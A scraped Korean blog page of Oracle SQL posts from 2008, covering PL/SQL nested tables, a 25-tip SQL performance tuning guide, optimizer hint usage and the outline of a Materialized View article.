ORACLE/SQL2008. 2. 21. 20:25
반응형

###################################################################################################

#   source site : blog.naver.com/tangamjaelt

#   master : 강용운

#   email : tangamjaelt@korea.com

#   last release : 2007.12.22

###################################################################################################

 

인덱스 테이블과 달리 행이 순서대로 정렬되지 않은 모음이다.

특정 데이터형을 지원하지 않는다.

초기화하려면 constructor 메소드를 사용해야 한다.

인덱스 범위는 -2,147,483,647 ~ 2,147,483,647 이다.

검색할 때 항목은 연속적으로 색인화된다.

 

 

중첩테이블 선언

- INDEX BY 절이 사용되지 않는다. 이 절이 있으면 인덱스 테이블, 없으면 중첩 테이블.

  TYPE 형이름 IS TABLE OF 데이터형 [NOT NULL];

 

- 항목을 추가하기 전에 생성자를 호출하여 테이블을 초기화 시킨다.

- 생성자는 오브젝트에 실제로 메모리를 할당하고, 그 오브젝트와 연결된 데이터 구조체를 초기화시키는 함수를 말한다.

- 중첩테이블에서 생성자 함수는 모음을 실제로 생성한 다음, 그것을 선언한 변수에 할당하는 것을 말한다.

 

 

중첩테이블 초기화

 

   TYPE dept_table IS TABLE OF department$ROWTYPE;

   depts dept_table;  -- depts 중첩테이블 변수 선언

 

   depts := dept_table();  -- 생성자 함수 호출. 형이름(). ()안에 아무것도 넣지 않으면 빈 테이블이 생성된다.

 

- dept_table(dept1, dept2) 처럼 항목에 대한 값을 넣으면 테이블에 값이 들어간다.

 

 

중첩테이블 확장

- extend 메소드를 사용해서 항목을 추가한다.

- 모음.EXTEND;

- 모음.EXTEND(5,1);   -- 첫번째 항목을 5번째에 복사한다.

 

 

중첩테이블 삭제

- 모음.DELETE(10)

- 모음.TRIM(끝에서부터잘라낼항목수)

반응형

'ORACLE > SQL' 카테고리의 다른 글

PL/SQL  (0) 2008.02.22
PL/SQL (13) - 커서(cursor)  (0) 2008.02.21
<25가지 SQL작성법>  (0) 2008.02.19
oracle에서 hint의 사용  (0) 2008.02.14
Materialized View 설명  (0) 2008.02.14
Posted by [PineTree]
ORACLE/SQL2008. 2. 19. 04:38
반응형

<25가지 SQL작성법>

1.데이터와 비즈니스 어플리케이션을 잘 알아야 한다.

동일한 정보는 다른 비즈니스 데이터 원천으로부터 검색될 수 있다. 이러한 원천
에 익숙해야 한다. 당신은 당신의 데이터베이스 안의 데이터의 크기와 분포를 반
드시 알아야 한다. 또한 SQL을 작성하기 전에 비즈니스  개체 안의 관계와 같은
데이터 모델을 전체적으로 이해해야 한다. 이러한  이해는 당신이 여러 테이블에
서 정보를 검색하는데 있어서 보다 좋은  쿼리를 작성할 수 있다. DESIGNER/2000
과 같은 CASE TOOLS은 다른 비즈니스와 데이터베이스 객체사이의 관계를 문서화
하는데 좋은 역할을 한다.

2.실제 데이터를 가지고 당신의 쿼리를 검사하라.

대부분의 조직은 개발, 검사, 제품의 3가지  데이터베이스 환경을 가진다. 프로그
래머는 어플리케이션을 만들고 검사하는데  개발 데이터베이스 환경을  사용하는
데, 이 어플리케이션이 제품 환경으로 전환되기  전에 프로그래머와 사용자에 의
해 검사 환경하에서 보다 엄격하게 검토되어야 한다.  
SQL이 검사 환경하에서 테스트될 때, 검사 데이터베이스가  가지고 있는 데이터
는 제품 데이터베이스를 반영해야  한다. 비실제적인 데이터를  가지고 테스트된
SQL문은 제품 안에서는 다르게 작동할 수 있다. 엄격한 테스트를 보장하기 위해
서는, 검사 환경하에서의 데이터 분포는 반드시  제품 환경에서의 분포와 밀접하
게 닮아야 한다.

3.동일한 SQL을 사용하라.

가능한한 BIND VARIABLE, STORED PROCEDURE, PACKAGE의 이점을  활용하라. IDENTICAL
SQL문의 이점은 PARSING이 불필요하기에 데이터베이스 서버안에서  메모리 사용
의 축소와 빠른 수행을 포함한다. 예로서 아래의 SQL 문은 IDENTICAL하지 않다.

        SELECT * FROM EMPLOYEE WHERE EMPID = 10;
        SELECT * FROM EMPLOYEE WHERE EMPID = 10;
        SELECT * FROM EMPLOYEE WHERE EMPID = 20;

그러나 I_EMPID라고 이름 주어진 BIND VARIABLE을 사용하면 SQL 문은 이렇게 된
다.
        SELECT * FROM EMPLOYEE WHERE EMPID = :I_EMPID;

4.주의 깊게 인덱스를 사용하라.

테이블상에 모든 필요한 인덱스는 생성되어야 한다.  하지만 너무 많은 인덱스는
성능을 떨어뜨릴 수 있다. 그러면  어떻게 인덱스를 만들 칼럼을  선택해야 하는
가?

*최종 사용자에 의해 사용되는 어플리케이션 SQL과 쿼리의 WHERE 절에서 빈번
하게 사용되는 칼럼에 인덱스를 만들어야 한다.

*SQL 문에서 자주 테이블을 JOIN하는데 사용되는 칼럼은 인덱스되어야 한다.

*같은 값을 가지는 ROW가 적은 비율을 가지는 칼럼에 인덱스를 사용하라.

*쿼리의 WHERE 절에서 오직 함수와 OPERATOR로 사용되는 칼럼에는 인덱스를 만들
면 안된다.

*자주 변경되거나 인덱스를 만들때 얻는 효율성보다 삽입, 갱신, 삭제로 인해 잃는
효율성이 더 큰 칼럼에는 인덱스를 만들면 안된다. 이러한  OPERATION은 인덱스를
유지하기 위한 필요 때문에 느려진다.

*UNIQUE 인덱스는 더  나은 선택성 때문에  NONUNIQUE 인덱스보다 좋다.  PRIMARY
KEY 칼럼에 UNIQUE 인덱스를 사용한다. 그리고  FOREIGN KEY 칼럼과 WHERE 절
에서 자주 사용되는 칼럼에는 NONUNIQUE 인덱스를 사용한다.

5.가용한 인덱스 PATH를 만들어라

인덱스를 사용하기 위해서는 기술한 SQL문을 이용할 수 있는 식으로 SQL을 작
성하라. OPTIMIZER는 인덱스가 존재하기 때문에 인덱스를  사용하는 ACESS PATH
를 사용할 수 없다. 따라서 ACCESS PATH는 반드시 SQL이 사용할 수 있게  만들
어 져야 한다. SQL HINT를 사용하는 것은  인덱스 사용을 보증해주는 방법중 하
나이다.  특정 ACCESS PATH를 선택하기 위한 다음의 힌트를 참고 하라

6.가능하면 EXPLAIN과 TKPROF를 사용하라

만약 SQL문이 잘 다듬어지지 않았다면  비록 오라클 데이터베이스가 잘 짜여져
있어도 효율성이 떨어질 것이다. 이럴 경우 EXPLAIN TKPROF에 능숙해져야 한
다.  EXPALIN PLAN은 SQL이  사용하는 ACCESS PATH를 발견할  수 있게 해주고
TKPROF는 실제 PERFORMANEC의 통계치를 보여준다. 이 TOOL은 오라클  서버 소
프트웨어에 포함되어 있고 SQL의 성능을 향상시켜 준다.

7.OPTIMIZER를 이해하라.

SQL은 RULE-BASED나 COST-BASED중 하나를 이용해서 기동된다.기존의 소
프트웨어는 RULE BASED 방식을 채택하고 있다. 그리고 많은 오라클 소프트웨
어가 이러한 방식을 오랫동안 사용해 왔다. 그러나 새로 출시된 소프트웨어에 대
해서는 COST BASED 방식의 OPTIMIZER를 고려해야  한다. 오라클은 새로 출
시되는 프로그램을 COST BASED방식으로 업그레이드  시켜왔으며 이러한 방식
은  시스템을  훨씬   더 안정적으로   만들었다.  만약   COST BASED방식의
OPTIMIZER를 사용한다면 반드시 ANALYZE  스키마를 정기적으로 사용해야 한
다. ANALYZE스키마는 데이터베이스 통계를 데이터 사전 테이블에 기록하는  역
할을 수행하며 그렇게 되면 COST BASED OPTIMIZER가   그것을 사용하게 된
다. SQL은 COST BASED OPTIMIZER를 사용할 때만 잘 조정될 수 있다. 만약
RULE BASED에서 COST BASED로 바꾸고 싶다면 데이터베이스를 사용하는 모
든 소프트웨어의 모든 SQL문의 성능을 평가해 보아야 한다.

8.지엽적으로 동작하더라도 전역적으로 생각하라

항상 주의할 것은 하나의 SQL문을  조정하기 위해 생긴 데이터베이스안의 변화
는 다른 응용프로그램이나 다른 사용자가 이용하는 다른 명령문에 영향을 미친다
는 사실이다.

9.WHERE절은 매우 중요하다.

비록 인덱스가 가용하다고 해도 다음의 WHERE 절은 그  인덱스  ACCESS PATH
를 사용하지  않는다.(즉 COL1  과  COL2는 같은  테이블에 있으며   인덱스는
COL1에 만들어진다.)

        COL1 > COL2
        COL1 < COL2
        COL1 > = COL2
        COL1 <= COL2
        COL1 IS NULL
        COL1 IS NOT NULL.

인덱스는 NULL값을 갖는 칼럼에는 ROWID를 저장하지 않는다. 따라서 NULL값
을 갖는 ROW를 검색할 때는 인덱스를 사용하지 못한다.

        COL1 NOT IN (VALUE1, VALUE2 )
        COL1 != EXPRESSION
        COL1 LIKE '%PATTERN'.

이럴 경우  THE LEADING EDGE OF THE INDEX(?) 는 작동되지 않고  인덱스가 사
용되지 못하게 한다. 한편 COL1 LIKE 'PATTERN %'이나 COL1 LIKE 'PATTERN %
PATTERN%' 는 한정된 인덱스 스캔을 수행하기 때문에 인덱스를 사용할 수 있다.

        NOT EXISTS SUBQUERY
        EXPRESSION1 = EXPRESSION2.

인덱스된 컬럼을 포함하는 표현(EXPRESSION), 함수, 계산(CALCULATIONS)은 인덱스
를 사용하지 못한다. 다음의  예에서 보면 UPPER SQL  함수를 사용하면 인덱스
스캔을 사용할 수 없고 FULL TABLE SCAN으로 끝나고 만다.

        SELECT DEPT_NAME
        FROM   DEPARTMENT
        WHERE UPPER(DEPT_NAME) LIKE 'SALES%';

10.레코드 필터링을 위해서는 HAVING보다는 WHERE를 사용하라

인덱스가 걸려있는 칼럼에는 GROUP BY와 같이 HAVING절을 사용하지 마라. 이 경
우 인덱스는 사용되지 않는다. 또한  WHERE절로 된 ROW를 사용하지  마라. 만약
EMP테이블이 DEPTID컬럼에 인덱스를 가지고  있다면 다음 질의는  HAVING 절을
이용하지 못한다.  

        SELECT DEPTID,
            SUM(SALARY)
        FROM EMP
        GROUP BY DEPTID
        HAVING  DEPTID = 100;

그러나 같은 질의가 인덱스를 사용하기 위해 다시 씌여질 수 있다.

        SELECT  DEPTID,
             SUM(SALARY)
        FROM EMP
        WHERE DEPTID = 100  
        GROUP BY DEPTID;

11. WHERE 절에 선행 INDEX 칼럼을 명시하라.  

복합 인덱스의 경우, 선행 인덱스가  WHERE절에 명시되어 있다면 쿼리는
그 인덱스 를 사용할 것이다. 다음의 질의는 PART_NUM과  PRODUCT_ID 칼럼
에 있는 PRIMARY KEY CONSTRAINT에 기초한 복합 인덱스를 이용할 것이다.        

   SELECT  *
   FROM PARTS
   WHERE PART_NUM =  100;

반면, 다음의 쿼리는 복합인덱스를 사용하지 않는다.          

   SELECT *
   FROM PARTS
   WHERE PRODUCT_ID =  5555;

같은 요청(REQUEST)이 인덱스를 이용하기 위해 다시 씌어 질 수 있다. 다음 질의
의 경우, PART_NUM컬럼은 항상 0 보다 큰 값을 가질것이다.

        SELECT *
        FROM PARTS
        WHERE  PART_NUM >  0
        AND  PRODUCT_ID = 5555;
        
12.인덱스 SCAN과 FULL TABLE SCAN을 평가하라.

한 행(ROW)의  15%  이상을 검색하는  경우에는  FULL TABLE   SCAN이 INDEX
ACESS PATH보다 빠르다. 이런 경우, SQL이 FULL TABLE SCAN을 이용할 수 있도록
여러분 스스로   SQL을 작성하라.  다음의 명령문은   비록 인덱스가  SALARY
COLUMN에 만들어져 있어도 인덱스 SCAN을 사용하지 않을 것이다. 첫 번째 SQL
에서, FULL HINT를 사용한다면 오라클은 FULL TABLE SCAN을 수행할 것이다. 인덱
스의 사용이 나쁜 점이 더 많다면  아래의 기술을 이용해서 인덱스 수행을  막을
수 있다.

        SELECT  * --+FULL
        FROM EMP
        WHERE  SALARY  = 50000;
        
        SELECT  *
        FROM EMP
        WHERE SALARY+0 = 50000;

다음의 명령문은 비록 인덱스가 SS#  COLUMN에 있어도 인덱스 SCAN을 사용하
지 않을 것이다.

        SELECT  *
        FROM EMP
        WHERE SS# || ' ' = '111-22-333';

오라클이 불분명한 데이터 변환을 수행해야 하는 경우 인덱스가  항상 사용되지
않는 것은 아니다.  다음의 예를 보면, EMP 칼럼에 있는 SALARY는  숫자형 칼
럼이고 문자형이 숫자값으로 변환된다.
    
        SELECT  *
        FROM EMP
        WHERE  SALARY = '50000';

테이블의 행이 15%이거나 그보다 작을 경우 인덱스 스캔은 보다 잘 수행 될 것
이다. 왜냐 하면 인덱스 스캔은 검색된 행(ROW)하나 하나 마다  다중의 논리적인
읽기 검색(READ)을 할 것이기 때문이다. 그러나 FULL TABLE SCAN은 하나의 논리적
인 읽기 검색 영역 안의 BLOCK에 있는 모든  행들을 읽을 수 있다. 그래서  테이
블의 많은 행들에 접근해야 하는 경우에는 FULL TABLE SCAN이 낫다. 예로 다음의
경우를 보자. 만약 EMP TABLE과 그  테이블의 모든 인덱스에 대해 ANALYZE라
는   명령어가   수행된다면,   오라클은   데이터   사전인   USER_TABLES와
USER_INDEXES에 다음과 같은 통계치를 산출해 낸다.

        TABLE STATISTICS:
        NUM_ROWS  =  1000
        BLOCKS =  100
        
                INDEX STATISTICS:
        
        BLEVEL = 2
        AVG_LEAF_BLOCKS_PER_KEY  =  1
        AVG_DATA_BLOCKS_PER_KEY  = 1

이러한 통계치 에 근거해서, 아래에 보이는 것이 각각의 다른 SCAN에 대한 논리
적인 읽기(READ)-즉 ACESS된 BLOCK이 될 것이다.              

         USE OF INDEX TO RETURN ONE ROW = 3
        
        (BLEVEL+(AVG_LEAF_BLOCKS_PER_KEY - 1) +
        AVG_DATA_PER_KEY
        
        FULL TABLE SCAN = 100
        (BLOCKS)
        
        USE OF INDEX TO RETURN ALL ROWS = 3000
        (NUM_ROWS * BLOCKS ACCESSED TO RETURN ONE ROW USING INDEX)

13. 인덱스 스캔에 ORDER BY를 사용하라

오라클의 OPTIMIZER는 , 만약 ORDER BY라는 절이  인덱스된 칼럼에 있다면 인
덱스 스캔을 사용할 것이다. 아래의 질의는 이러한 점을 보여 주는 것인데 이 질
의는 비록 그 칼럼이 WHERE 절에  명시되어 있지 않다고 해도 EMPID컬럼에 있
는 가용한 인덱스를 사용할  것이다. 이 질의는 인덱스로부터  각각의 ROWID를
검색하고  그 ROWID를 사용하는 테이블에 접근한다.

        SELECT SALARY
        FROM EMP
        ORDER BY EMPID;

만약 이 질의가 제대로 작동하지 않는다면,  당신은 위에서 명시되었던 FULL HINT
를 사용하는 같은 질의를 다시 작성함으로써 다른 대안들을 이용해 볼 수 있다.

14. 자신의 데이터를 알아라

내가 이미 설명한 것처럼, 당신은 당신의 데이터를  상세하게 알고 있어야 한다.
예를 들어 당신이 BOXER라는 테이블을 가지고  있고 그 테이블이 유일하지 않은
인덱스를 가진 SEX라는 컬럼과 BOXER_NAME이라는 두 개의 테이블을 가지고  있
다고 가정해 보자. 만약 그 테이블에 같은 수의  남자, 여자 복서가 있다면 오라
클이 FULL TABLE SCAN을 수행하는 경우 다음의 질의가 훨씬 빠를 것이다.
    
        SELECT  BOXER_NAME
        FROM BOXER
        WHERE SEX  = 'F';

당신은 다음과 같이 기술함으로써 질의가 FULL  TABLE SCAN을 수행하는지를 확실
하게 해 둘 수 있다.

        SELECT BOXER_NAME    --+ FULL
        FROM BOXER
        WHERE  SEX = 'F';

만약 테이블에 980 명의 남성  복서 데이터가 있다면, 질의는 인덱스  SCAN으로
끝나기 때문에 아래형식의 질의가 더 빠를 것이다.

        SELECT  BOXER_NAME  --+ INDEX (BOXER BOXER_SEX)
        FROM BOXER
        WHERE SEX = 'F';

이 예는 데이터의 분포에 대해 잘 알고 있는 것이 얼마나 중요한 가를 예시해 준
다. 데이터가 많아지고(GROW) 데이터 분포가 변화하는  것처럼 SQL 도 매우 다
양할 것이다. 오라클은 OPTIMIZER 가 테이블에 있는  데이터의 분포를 잘 인식하
고 적절한 실행 계획을 선택하도록 하기 위해 오라클 7.3 에 HISTOGRAMS라는
기능을 추가했다.

15. KNOW WHEN TO USE LARGE-TABLE SCANS.

작거나 큰 테이블에서 행들을 추출할 때, 전체 테이블의 검색은 인텍스를 사용한
검색보다 성능이 더 좋을 수도  있다.  매우 큰 테이블의 인덱스  검색은 수많은
인덱스와 테이블 블록의 검색이 필요할수도 있다.   이러한 블록들이 데이터베이
스 버퍼 캐쉬에 이동되면 가능한한  오래도록 그곳에 머무른다.  그래서  이러한
블록들이 다른 질의등에 필요하지 않을 수도 있기 때문에, 데이터베이스 버퍼 히
트 비율이 감소하며 다중 사용자 시스템의 성능도 저하되기도  한다.  그러나 전
체 테이블 검색에 의해서 읽혀진 블록들은 데이터베이스 버퍼 캐쉬에서 일찍  제
거가 되므로 데이터베이스 버퍼 캐쉬 히트 비율은 영향을 받지 않게 된다.

16. MINIMIZE TABLE PASSES.

보통, SQL질의시 참조하는 테이블의 숫자를 줄임으로 성능을 향상시킨다.  참조
되는 테이블의 숫자가 적을수록 질의는 빨라진다.  예를 들면 NAME, STATUS,
PARENT_INCOME, SELF_INCOME의 네개의 컬럼으로  이루어진 학생 테이블
에서 부모님에 의존하는 학생과 독립한 학생의 이름과 수입에 대해서 질의시, 이
학생 테이블을 두번 참조하여 질의하게 된다..
        SELECT NAME, PARENT_INCOME
        FROM STUDENT
        WHERE STATUS = 1
        UNION
        SELECT NAME, SELF_INCOME
        FROM STUDENT
        WHERE STATUS = 0;
( NAME이 프라이머리 키이며, STATUS는  독립한 학생의 경우는 1,  부모님에
의존적인 학생은 0으로 표시한다)
위의 같은 결과를 테이블을 두번 참조하지 않고도 질의 할 수 있다.
  
        SELECT        NAME,PARENT_INCOME*STATUS + SELF_INCOME(1-STATUS)
        FROM  STUDENT;

17. JOIN TABLES IN THE PROPER ORDER.

다수의 테이블 조인시 테이블들의 조인되는 순서는 매우 중요하다.  전반적으로,
올바른 순서로 테이블이 조인되었다면 적은 수의 행들이 질의시 참조된다.  언제
나 다수의 조인된 테이블들을 질의시 우선 엄격하게 조사하여 행들의 숫자를  최
대한으로 줄인다.  이러한 방법으로 옵티마이저는 조인의 차후 단계에서 적은 행
들을 조사하게 된다.  뿐만 아니라, 여러 조인을 포함하는 LOOP JOIN에서는 가
장 먼저 참조되는 테이블(DRIVING  TABLE)이 행들을 최소한으로  리턴하도록 해야
한다.  그리고, 마스터와 상세 테이블 조인시에는(예를 들면 ORDER  & ORDER
LINE ITEM TABLES) 마스터 테이블을 먼저 연결 시켜야 한다.
규칙에 근거한 옵티마이저의 경우에는 FROM CLAUSE의  마지막 테이블이 NESTED
LOOP JOIN의 DRIVING  TABLE이 된다.  NESTED  LOOP JOIN이 필요한  경우에는
LOOP의 안쪽의 테이블에는 인텍스를 이용하는 것을 고려할 만하다.  EXPLAIN
PLAN과 TKPROF는 조인 타입, 조인 테이블 순서,  조인의 단계별 처리된 행들
의 숫자들을 나타낸다.
비용에 근거한 옵티마이저의 경우에는 WHERE  CLAUSE에 보여지는 테이블의 순
서는 옵티마이저가 가장 최적의 실행 계획을 찾으려고 하는 것과 상관 없다.  조
인되는 테이블의 순서를 통제하기 위해서 ORDERED HINT를 사용하는 것이 낫다.

        SELECT ORDERS.CUSTID, ORDERS.ORDERNO,
             ORDER_LINE_ITEMS.PRODUCTNO    --+ORDERED
        FROM  ORDERS, ORDER_LINE_ITEMS
        WHERE  ORDERS.ORDERNO = ORDER_LINE_ITEMS.ORDERNO;

18. USE INDEX-ONLY SEARCHES WHEN POSSIBLE.

가능하다면, 인덱스만을 이용하여 질의를 사용하라.  옵티마이저는 오직 인덱스만
을 찾을 것이다.  옵티마이저는 SQL을 만족시키는 모든 정보를 인덱스에서 찾을
수 있을 때,  인덱스만을 이용할  것이다.  예를들면,  EMP테이블이 LANME과
FNAME의 열에 복합 인덱스를 가지고 있다면 다음의 질의는 인덱스만은 이용할
것이다.

        SELECT FNAME
        FROM  EMP
        WHERE LNAME = 'SMITH';
        
반면에 다음의 질의는 인덱스와 테이블을 모두 참조한다.

        SELECT FNAME , SALARY
        FROM  EMP
        WHERE LNAME = 'SMITH';

19. REDUNDANCY IS GOOD.

WHERE CLAUSE에 가능한한 많은 정보를 제공하라.  예를 들면 WHERE COL1 =
COL2  AND  COL1   = 10이라면   옵티마이저는  COL2=10이라고   추론하지만,
WHERE COL1 = COL2 AND COL2 = COL3이면 COL1=COL3이라고 초론하지는
않는다.

20. KEEP IT SIMPLE, STUPID.

가능하면 SQL문을 간단하게 만들라.  매우 복잡한 SQL문은  옵티마이저를 무력
화시킬 수도 있다.  때로는 다수의  간단한 SQL문이 단일의 복잡한  SQL문보다
성능이 좋을 수도 있다.  오라클의 비용에 근거한 옵티마이저는 아직은 완벽하지
않다.  그래서 EXPLAIN PLAN에 주의를 기울여야 한다.  여기서 비용이란 상대적인
개념이기에 정확히 그것이 무엇을 의미하는지 알지 목한다.  하지만 분명한 것은
적은 비용이 보다 좋은 성능을 의미한다는 것이다.
종종 임시 테이블을 사용하여 많은 테이블들을 포함하는 복잡한 SQL 조인을 쪼
개는 것이 효율적일 수도 있다.  예를 들면, 조인이 대량의 데이터가 있는 8개의
테이블을 포함할 때, 복잡한 SQL을 두  세개의 SQL로 쪼개는 것이 낫을  수 있
다.  각각의 질의는 많아야 네개정도의 테이블들을 포함하며 그  중간 값을 저장
하는 것이 낫을 수 있다.

21. YOU CAN REACH THE SAME DESTINATION IN DIFFERENT WAYS.

많은 경우에, 하나 이상의  SQL문은 의도한 같은  결과를 줄 수  있다.  각각의
SQL은 다른 접근 경로를 사용하며 다르게 수행한다.  예를들면, MINUS(-) 산술
자는 WHERE NOT IN (SELECT ) OR WHERE NOT EXISTS 보다 더 빠르다.  
예를들면, STATE와 AREA_CODE에 각각 다른 인덱스가 걸려 있다.  인덱스에
도 불구하고 다음의 질의는 NOT  IN의 사용으로 인해 테이블 전체를  조사하게
된다.
        SELECT CUSTOMER_ID
        FROM CUSTOMERS
        WHERE  STATE  IN ('VA', 'DC',  'MD')
        AND AREA_CODE NOT IN  (804, 410);

그러나 같은 질의가 다음 처럼 쓰여진다면 인덱스를 사용하게 된다
        SELECT CUSTOMER_ID
        FROM CUSTOMERS
        WHERE  STATE IN ('VA', 'DC', 'MD')
        MINUS
        SELECT CUSTOMER_ID
        FROM CUSTOMERS
        WHERE AREA_CODE  IN  (804, 410);

WHERE절에 OR을 포함한다면 OR대신에  UNION을 사용할 수  있다.  그래서,
SQL 질의를 수행하기 전에 먼저 실행계획을 조심스럽게 평가해야 한다.  이러한
평가는 EXPLAIN PLAN AND TKPROF를 이용하여 할 수 있다.

22. USE THE SPECIAL COLUMNS.

ROWID AND ROWNUM 열을 이용하라.  ROWID를 이용하는 것이 가장 빠르다.  
예를들면, ROWID를 이용한 UPDATE는 다음과 같다.

        SELECT ROWID, SALARY  
        INTO TEMP_ROWID, TEMP_SALARY
        FROM   EMPLOYEE;
                  
        UPDATE EMPLOYEE
           SET  SALARY = TEMP_SALARY * 1.5
        WHERE ROWID = TEMP_ROWID;

ROWID값은 데이터베이스에서 언제나 같지는 않다.   그래서, SQL이나 응용 프
로그램이용시 ROWID값을 절대화 시키지  말라.  리턴되는 행들의 숫자를  제한
시키기위해 ROWNUM을 이용하라.  만약에  리턴되는 행들을 정확히  모른다면
리턴되는 행들의 숫자를 제한하기위해 ROWNUM을 사용하라
다음의 질의는 100개 이상의 행들을 리턴하지는 않는다.
        SELECT EMPLOYE.SS#, DEPARTMENT.DEPT_NAME  
        FROM EMPLOYEE, DEPENDENT
        WHERE EMPLOYEE.DEPT_ID  = DEPARTMENT.DEPT_ID
        AND ROWNUM  <  100;

23.함축적인 커서대신 명시적인 커서를 사용하라.

함축적 커서는 여분의  FETCH를 발생시킨다.  명시적 커서는  DECLARE, OPEN,
FETCH와 CLOSE CURSOR문을 사용하여 개발자에 의해서 생성된다. 함축 커서는
DELETE, UPDATE, INSERT와 SELECT문을  사용하면 오라클에 의해서 생성
된다.

24.오라클 병렬 쿼리 옵션을 찾아서 이용하라.

병렬 쿼리 옵션을 사용하면, 보다 빠른 성능으로 SQL을 병렬로 실행할 수 있다.
오라클 7에서는, 오직 FULL TABLE SCAN에 기반한 쿼리만이 병렬로 수행될 수 있다.
오라클 8에서는, 인덱스가 분할되어있다면 INDEXED RANGE SCANS에 기반한 쿼리도
병렬로 처리될 수 있다. 병렬  쿼리 옵션은 다수의 디스크  드라이버를 포함하는
SMP와 MPP SYSTEM에서만 사용될 수 있다.

오라클 서버는 많은 우수한 특성을 가지고  있지만, 이러한 특성의 존재만으로는
빠른 성능을 보장하지 않는다. 이러한 특성을 위해서 데이터베이스를 조정해야하
며 특성을 이용하기  위해 특별하게 SQL을  작성해야 한다.  예를 들면, 다음의
SQL은 병렬로 수행될 수 있다.

        SELECT *   --+PARALLEL(ORDERS,6)
        FROM ORDERS;

25.네트웍 소통량을 줄이고 한번에 처리되는 작업량을 늘려라.

array PROCESSING과 PL/SQL BLOCK을 사용하면  보다 나은 성능을 얻을  수 있고
네트웍 소통량을 줄인다. array PROCESSING은 하나의 SQL문으로  많은 ROW를 처
리할 수  있게 한다.  예를 들면,  INSERT문에서  배열을 사용하면  테이블내의
1,000 ROW를 삽입할 수 있다. 이러한 기술을 사용하면  주요한 성능 향상을 클라
이언트/서버와 배치시스템에서 얻어질 수 있다.  

복합 SQL문은 과도한 네트웍 소통을 유발할 수 있다. 그러나  만일 SQL문이 단
일 PL/SQL 블록안에 있다면, 전체 블록은 오라클 서버에 보내져서  그곳에서 수
행되고, 결과는 클라이언트의 APPLICATION에게 돌아온다.  

개발자와 사용자는 종종 SQL을  데이터베이스에서 데이터를 검색하고 전송하는
간단한 방법으로 사용한다. 때때로 직접적으로 SQL을 작성하지  않고 코드 발생
기를 사용하여 작성한 APPLICATION은 심각한  성능 문제를 일으킨다. 이러한 성능
감퇴는 데이터베이스가 커지면서 증가한다.

SQL은 유연하기 때문에, 다양한 SQL문으로 같은  결과를 얻을 수 있다. 그러나
어떤 문은 다른 것보다 더 효율적이다. 여기에 기술된  팁과 기법을 사용하면 빠
르게 사용자에게 정보를 제공할 수 있는 APPLICATION과 리포트를 얻을 수 있다.

반응형

'ORACLE > SQL' 카테고리의 다른 글

PL/SQL (13) - 커서(cursor)  (0) 2008.02.21
PL/SQL (19) - Collections (중첩테이블 - Nested Table)  (0) 2008.02.21
oracle에서 hint의 사용  (0) 2008.02.14
Materialized View 설명  (0) 2008.02.14
유용한 오라클 명령어  (0) 2008.01.28
Posted by [PineTree]
ORACLE/SQL2008. 2. 14. 18:34
반응형

oracle에서 hint의 사용

by kkaok
2003-06-24

 

Hint란?

select문을 실행시키면 DB의 옵티마이져가 조건절 또는 join절 등을 고려하여 액세스 경로를 결정한다. 이때 옵티마이저에게 모든 것을 맡기지 않고 사용자가 원하는 보다 좋은 액세스 경로를 선택할 수 있도록 하는 것이 Hint이다.

 

힌트의 사용 방법

힌트를 사용하는 방법은 "/*+ */"와 "--+"의 두 가지 방법이 있다.

/*+ */ 여러 라인에 걸쳐 기술할 때 사용.
--+ 오직 한 라인에만 기술할 수 있고 칼럼은 반드시 다음 라인에 기술해야 한다.

 

예제 : kkaok이라는 테이블이 있고 kkaok_indx라는 인덱스를 힌트에 사용한다고 가정한다.

SELECT /*+ INDEX(kkaok kkaok_indx) */ name,content FROM kkaok WHERE rownum<=2

SELECT --+ INDEX(kkaok kkaok_indx) name,content FROM kkaok WHERE rownum<=2

 

힌트의 접근방법

힌트의 접근방법에는 여러 가지가 있다. 이중에 자주 사용되어지는 몇가지만 알아보겠다.

/*+ CLUSTER(table_name) */

Cluster Scan을 선택하도록 지정한다. 따라서 clustered object들에만 적용된다.

 

/*+ INDEX(table_name index_name) */

지정된 index사용하도록 지정한다.

 

/*+ INDEX_ASC(table_name index_name) */

지정된 index를 오름차순으로 사용하도록 지정한다. Default로 Index Scan은 오름차순이다

 

/*+ INDEX_DESC(table_name index_name) */

지정된 index를 내림차순으로 사용하도록 지정한다.

 

힌트를 사용한 성능향상 테스트

50000만 건을 입력하고 전체 카운터를 가져오는 테스트를 해보겠다.

여기서의 소요시간은 서버환경이나 측정하는 방법에 따라 달라 질 수 있다. 하지만 상대적으로 비교해 볼 수는 있는 것이니 어떤 효과가 있는지를 알기에는 충분하다고 생각한다.

 

1. select count(idx) idx from 테이블명

- 소요시간 : 203ms

 

2. select /*+ index(테이블명 인덱스명) */ count(idx) idx from 테이블명

- 소요시간 : 15ms

 

카운터는 집계함수이지만 hint를 사용하면 처리 속도가 훨씬 빠른 것을 볼 수 있다. 오라클이 최적의 경로로 처리할 거라고 너무 믿지 말자. 힌트를 사용하면 훨씬 나은 결과를 얻을 수 있는 것이다.

반응형

'ORACLE > SQL' 카테고리의 다른 글

PL/SQL (19) - Collections (중첩테이블 - Nested Table)  (0) 2008.02.21
&lt;25가지 SQL작성법&gt;  (0) 2008.02.19
Materialized View 설명  (0) 2008.02.14
유용한 오라클 명령어  (0) 2008.01.28
유용한 DB 쿼리  (0) 2007.11.17
Posted by [PineTree]
ORACLE/SQL2008. 2. 14. 05:51
반응형
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
Subject:  Materialized View 
Type:     WHITE PAPER
Status:   PUBLISHED
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
 
◎ 이 문서는 Materialized View에 대해 8i부터 10g까지의 자료를 정리한 것이다.
 
◎ 목차:
   1. Materialized View
   2. Materialized View 관련 Initialization 파라미터
   3. Materialized View 사용에 필요한 권한
   4. Query Rewrite에서 Materialized View 사용 여부 판단 알고리즘
   5. Materialized View와 Integrity Constraints
   6. Query Rewrite와 Hint 사용
   7. Three Types of Materialized Views
   8. Materialized View Log 의 구조 (WITH ROWID, PRIMARY KEY 사용)
   9. Materialized View의 문법
  10. Materialized View 의 Index
  11. Materialized View를 만드는 방법 (사용예제)
  12. Materialized View에서 Index Organize Table을 이용하기 (8.1.6 이상)
  13. Materialized View의 On Commit Refresh 기능 (8.1.6 이상)
  14. Materialized View 생성 시 ORA-12054 ERROR 해결 방법 (8.1.6 이상)
  15. Materialized View 에서 Order By 절 사용하기 (8.1.7 이상)
